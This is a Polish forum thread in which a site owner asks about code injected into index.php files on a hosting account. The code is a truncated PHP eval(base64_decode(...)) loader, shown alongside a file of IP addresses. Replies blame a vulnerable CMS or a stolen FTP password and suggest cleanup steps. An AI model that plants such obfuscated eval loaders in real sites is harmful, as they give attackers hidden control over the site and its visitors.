Coś przykleiło mi się do stron

[monstrum]

Witam,

na jednym koncie hostingowym do pliku index.php na różnych skryptach dokleiło mi się takie cudo:

<?php eval(base64_decode('ZXJyb3JfcmVwb3J0aW5nKDApOw0KJGlwPSRfU0VSVkVSWyJSRU1PVEVfQUREUiJdOyRkcj0kX1NFUlZ   ... ciach

oraz plik 29e1d5f3b0db49aa8f8b49b499004ae3

a w nim:

218.6.8.7|89.191.170.82|83.20.255.126|91.121.192.40|123.62.6.3|37.59.5.124|83.30.82.2|180.76.5.189|218.93.127.117| .. ciach

czy spotkaliście się z czymś takim?

[blake]

Tak, dziurawy skrypt lub masz wirusa wykradającego hasło do ftpa jeżeli masz je zapisane w jakimś programie ftp.

1. czyszczenie kompa z syfu.

2. zmiana hasła do konta i nie zapisywanie go w programie

3. żmudna robota czyszczenia plików

PS. nie musisz wszystkiego tutaj wrzucać, skróć kod bo się strona rozjechała.

[kuli]

Masz pewnie Joomla albo wordpress?

Dlatego ja co moge to robie statycznie- bo jak cos sie wiesza albo nie dziala to wgrywam drugi raz i sie nie ogladam na to bo nei mam czasu.

Strona statyczna to jest najszybsza naprawa, odporna na limity serwera, najszybszy beckup

[trotek]

stawiam na joomlę. jak najszybciej zmień hasło do ftp, do panelu cms i usuń ten shit

[monstrum]

Miałem tam jedynie WP, phpbb3 i strony z autorskim skyptem. Stawiam na WP bo już tu ktoś na forum pisał o podobnym przypadku w którym winą była stara wersja wordpresa.

Wyczyściłem, pozmieniałem hasła i sprawdzam codziennie czy nic się znów nie wylęgnie, a stronę z wp usunąłem z serwera.